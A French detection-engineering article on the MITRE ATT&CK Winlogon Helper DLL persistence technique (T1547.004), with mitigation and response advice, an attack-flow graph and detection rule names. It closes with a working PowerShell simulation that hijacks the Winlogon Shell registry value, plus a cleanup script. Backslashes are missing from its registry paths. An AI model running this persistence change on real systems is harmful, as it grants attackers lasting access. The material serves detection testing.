T1547.004 dans MITRE ATT&CK : Assistant Winlogon Expliqué
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
L’article explique la méthode de persistance du Winlogon Helper DLL suivie sous la référence T1547.004 et montre comment les adversaires manipulent les clés du registre Winlogon pour charger du code malveillant lors de la connexion de l’utilisateur. Il fait référence à des exemples réels liés à la campagne ToyBraker, au malware KamiKakaBot et à un échantillon connu sous le nom de Mandela.exe. L’accent est mis sur les modifications du registre qui déclenchent l’exécution automatique de DLL malveillantes ou d’exécutables au démarrage d’un système ou lors de la connexion d’un utilisateur.
Investigation
Les chercheurs ont documenté des attaquants créant des comptes utilisateur non autorisés et modifiant les valeurs du registre Winlogon telles que LegalNoticeText, DefaultUserName, AutoLogonCount et Shell pour préserver l’accès. Des échantillons de malware et des cas d’intrusion ont également montré l’utilisation d’outils en ligne de commande comme net user et reg add pour injecter des paramètres malveillants et lancer des charges utiles PowerShell durant le processus de connexion.
Atténuation
Les défenseurs devraient surveiller de près et restreindre les modifications des clés du registre Winlogon, appliquer des contrôles de privilèges minimum pour la création de comptes, et utiliser le contrôle des applications pour bloquer les DLL non fiables ou non signées. Des vérifications régulières des tâches planifiées, des services et des emplacements de démarrage peuvent également aider à identifier les changements de persistance non autorisés.
Réponse
Lorsque des activités suspectes du registre Winlogon sont découvertes, isolez le point de terminaison concerné, capturez les preuves volatiles et restaurez les valeurs du registre modifiées à un état connu et intact. Une enquête judiciaire devrait ensuite rechercher tout mécanisme de persistance supplémentaire et scanner l’hôte pour des composants malveillants liés.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef technique fill:#ffd699 classDef malware fill:#f4a6a6 %% Node definitions action_create_account["<b>Action</b> – Créer un compte local<br/><b>Technique</b>: T1136.001 Créer un compte : Compte local<br/><b>Description</b>: Ajoute un nouvel utilisateur local en utilisant la commande net user."] class action_create_account action tool_net_user["<b>Outil</b> – commande net user<br/><b>Objectif</b>: Créer ou modifier des comptes Windows locaux."] class tool_net_user tool action_modify_registry["<b>Action</b> – Modifier le registre Winlogon<br/><b>Technique</b>: T1112 Modifier le registre<br/><b>Description</b>: Modifie les clés Winlogon (Notify, Userinit, Shell, DefaultUserName, AutoLogonCount) via reg add."] class action_modify_registry action tool_reg_add["<b>Outil</b> – commande reg add<br/><b>Objectif</b>: Ajouter ou changer des valeurs du registre Windows."] class tool_reg_add tool persistence_winlogon_helper["<b>Persistance</b> – Winlogon Helper DLL<br/><b>Technique</b>: T1547.004 Winlogon Helper DLL<br/><b>Description</b>: Charge une DLL ou un exécutable malveillant lors de la connexion utilisateur, fournissant une exécution élevée."] class persistence_winlogon_helper persistence technique_T1547_004["<b>Technique</b> – T1547.004<br/><b>Nom</b>: Winlogon Helper DLL<br/><b>Description</b>: Enregistre une DLL pour être chargée par Winlogon, accordant persistance et élévation de privilèges."] class technique_T1547_004 technique malware_kamkaka["<b>Malware</b> – KamiKakaBot<br/><b>Utilise</b>: persistance Winlogon Helper DLL."] class malware_kamkaka malware malware_mandela["<b>Malware</b> – Mandela.exe<br/><b>Utilise</b>: persistance Winlogon Helper DLL."] class malware_mandela malware %% Connections showing flow action_create_account –>|utilise| tool_net_user action_modify_registry –>|utilise| tool_reg_add action_create_account –>|active| persistence_winlogon_helper action_modify_registry –>|active| persistence_winlogon_helper persistence_winlogon_helper –>|met_en_œuvre| technique_T1547_004 technique_T1547_004 –>|observé_dans| malware_kamkaka technique_T1547_004 –>|observé_dans| malware_mandela "
Flux d’attaque
Détections
Points de persistance possibles [ASEPs – Clés de registre Winlogon/AppInit] (via registry_event)
Voir
Points de persistance possibles [ASEPs – Clé Software/NTUSER] (via cmdline)
Voir
La possibilité d’exécution par des lignes de commande PowerShell cachées (via cmdline)
Voir
Points de persistance possibles [ASEPs – Clé Software/NTUSER] (via registry_event)
Voir
IOC (Emails) pour détecter : T1547.004 Winlogon Helper expliqué dans MITRE ATT&CK
Voir
IOC (HashSha256) pour détecter : T1547.004 Winlogon Helper expliqué dans MITRE ATT&CK
Voir
Détection des modifications malveillantes dans les clés du registre Winlogon [Événement du registre Windows]
Voir
Exécution de simulation
Prérequis : Le contrôle pré-vol de télémetrie et de base doit avoir été validé.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (T1547.004) conçue pour déclencher la règle de détection. Les commandes et le récit produisent directement la télémétrie attendue par la logique de détection.
-
Narrative d’attaque & Commandes :
Un attaquant qui a obtenu des droits d’administration locale souhaite persister à travers les redémarrages. Ils choisissent le classique détournement de “Shell” de Winlogon car il s’exécute avant le chargement du bureau de l’utilisateur et échappe à de nombreux produits AV d’endpoint. Les étapes sont :- Créez une charge utile malveillante (par exemple,
C:Tempévil.exe). - Ajoutez une nouvelle valeur à
HKLMSoftwareMicrosoftWindows NTCurrentVersionWinlogonShellpointant vers la charge utile. - Vérifiez le changement est effective, puis déconnectez-vous/reconnectez-vous pour effectuer l’exécution.
- Créez une charge utile malveillante (par exemple,
-
Script de test de régression :
#------------------------------------------------- # Test de Régression – Détournement du Shell Winlogon (T1547.004) #------------------------------------------------- param( [string]$PayloadPath = "C:Tempevil.exe", [string]$BackupPath = "$env:Tempwinlogon_shell_backup.txt" ) # 1. Déployez une charge utile fictive (une simple copie de calc.exe pour démo) if (-not (Test-Path $PayloadPath)) { Copy-Item "$env:SystemRootSystem32calc.exe" $PayloadPath -Force } # 2. Sauvegardez la valeur Shell actuelle (si elle existe) $regPath = "HKLM:SoftwareMicrosoftWindows NTCurrentVersionWinlogon" $currentShell = (Get-ItemProperty -Path $regPath -Name Shell -ErrorAction SilentlyContinue).Shell Set-Content -Path $BackupPath -Value $currentShell -Encoding UTF8 # 3. Définir la valeur Shell malveillante Set-ItemProperty -Path $regPath -Name Shell -Value $PayloadPath -Force Write-Host "[+] Shell Winlogon malveillant défini sur $PayloadPath" Write-Host "[+] Valeur originale enregistrée dans $BackupPath" -
Commandes de nettoyage :
#--------------------------------- # Nettoyage – Restauration du Shell Winlogon #--------------------------------- $regPath = "HKLM:SoftwareMicrosoftWindows NTCurrentVersionWinlogon" $backupFile = "$env:Tempwinlogon_shell_backup.txt" if (Test-Path $backupFile) { $original = Get-Content -Path $backupFile -Raw if ([string]::IsNullOrWhiteSpace($original)) { # La valeur originale était vide – supprimer la propriété Remove-ItemProperty -Path $regPath -Name Shell -ErrorAction SilentlyContinue } else { Set-ItemProperty -Path $regPath -Name Shell -Value $original -Force } Remove-Item $backupFile -Force Write-Host "[+] Shell Winlogon restauré à l'état original." } else { Write-Warning "Fichier de sauvegarde non trouvé – inspection manuelle requise." }